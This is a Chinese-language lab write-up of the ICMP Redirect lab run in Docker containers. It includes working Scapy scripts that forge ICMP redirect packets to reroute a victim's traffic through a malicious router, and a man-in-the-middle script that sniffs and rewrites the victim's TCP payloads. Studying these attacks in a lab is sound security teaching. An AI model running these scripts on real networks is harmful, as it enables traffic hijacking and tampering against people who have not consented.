ICMP Redirect
约 579 个字 87 行代码 14 张图片 预计阅读时间 4 分钟
在 Ubuntu 24.04 中的改动
如果直接在 24.04 中启动实验容器,会遇到:

这是因为 sysctls
块通常用于设置容器全局的内核参数,而像 eth0
这样的接口是在容器启动并连接到网络之后才确定的。Docker 为了更精确地控制网络接口相关的参数,要求这类配置通过特定的驱动选项来传递
—— Gemini 2.5 Pro
因此我们要对 docker-compose.yml 进行如下修改:
| sysctls:
- net.ipv4.ip_forward=1
- net.ipv4.conf.all.send_redirects=0
- net.ipv4.conf.default.send_redirects=0
# 移除: - net.ipv4.conf.eth0.send_redirects=0
privileged: true
volumes:
- ./volumes:/volumes
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.111
command: bash -c "
# 在容器启动后尝试设置 eth0 的参数
sysctl -w net.ipv4.conf.eth0.send_redirects=0
&& ip route add 192.168.60.0/24 via 10.9.0.11
&& tail -f /dev/null
"
|
重新启动容器即可进行接下来的实验
任务 1:发起 ICMP 重定向攻击
在受害者容器 victim-10.9.0.5
中运行 ip route
,输出如下:

在攻击者容器中编写代码如下:
icmp_redirect.py |
---|
| from scapy.all import *
ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
# Type 5 表示重定向, Code 1 表示主机重定向
icmp = ICMP(type = 5, code = 1)
# 在 ICMP 负载中设置网关地址 (恶意路由器)
icmp.gw = "10.9.0.111"
# ICMP 重定向包必须携带触发它的原始 IP 数据包
ip2 = IP(src="10.9.0.5", dst="192.168.60.5")
send(ip / icmp / ip2 / ICMP())
|
首先在受害者容器中显示路由缓存并清空:

保持在受害者容器中 ping 192.168.60.5
,然后在攻击者容器中运行代码,并在受害者容器中进行 traceroute 操作:

会发现受害者容器的路由已经改变
| from scapy.all import *
ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
icmp = ICMP(type = 5, code = 1)
icmp.gw = "192.168.60.6"
ip2 = IP(src="10.9.0.5", dst="192.168.60.5")
send(ip / icmp / ip2 / ICMP())
|
同上理运行代码,能得到:

可以看到没能实现攻击
| from scapy.all import *
ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
icmp = ICMP(type = 5, code = 1)
icmp.gw = "10.9.0.99"
ip2 = IP(src="10.9.0.5", dst="192.168.60.5")
send(ip / icmp / ip2 / ICMP())
|
同上理运行代码,能得到:

还是没能实现攻击
| sysctl -w net.ipv4.conf.all.send_redirects=1
sysctl -w net.ipv4.conf.default.send_redirects=1
sysctl -w net.ipv4.conf.eth0.send_redirects=1
|
然后重新发起正确的 ICMP 重定向攻击,得到:

仍然是不能实现攻击的
任务 2:发起 MITM 攻击
首先在恶意路由器上禁用 IP 转发:

查看受害者容器的 MAC 地址:

保持受害者容器 ping 192.168.60.5
,然后在攻击者容器中运行 icmp_redirect.py
,在恶意路由器上编写如下代码并运行:
mitm.py |
---|
| from scapy.all import *
def spoof_pkt(pkt):
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
if pkt[TCP].payload:
data = pkt[TCP].payload.load
print("*** %s, length: %d" % (data, len(data)))
newdata = data.replace(b'BruceJin', b'AAAAAAAA')
send(newpkt / newdata)
else:
send(newpkt)
f = 'tcp and ether src 42:16:51:ac:9e:0c'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
|
在目标容器 192.168.60.5 上启动 netcat 服务,并在受害者容器中连接到服务器,输入名字,会发现变成了 AAAAAAAA:


说明攻击成功
- 问题 4:我们只需要过滤出从 victim 到 host 的数据流量,因为我们就是要在这里将数据篡改使得 host 收到的是错误信息即可
- 问题 5:我们把过滤条件换成 A 的 IP 地址:
| from scapy.all import *
def spoof_pkt(pkt):
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
if pkt[TCP].payload:
data = pkt[TCP].payload.load
print("*** %s, length: %d" % (data, len(data)))
newdata = data.replace(b'BruceJin', b'AAAAAAAA')
send(newpkt / newdata)
else:
send(newpkt)
f = 'tcp and src host 10.9.0.5'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
|
同样也可以达到效果:


但是会发现 mitm.py 这里一直在发包:

这是因为它捕获到了自己发送的报文,发送完又捕获到了,陷入了死循环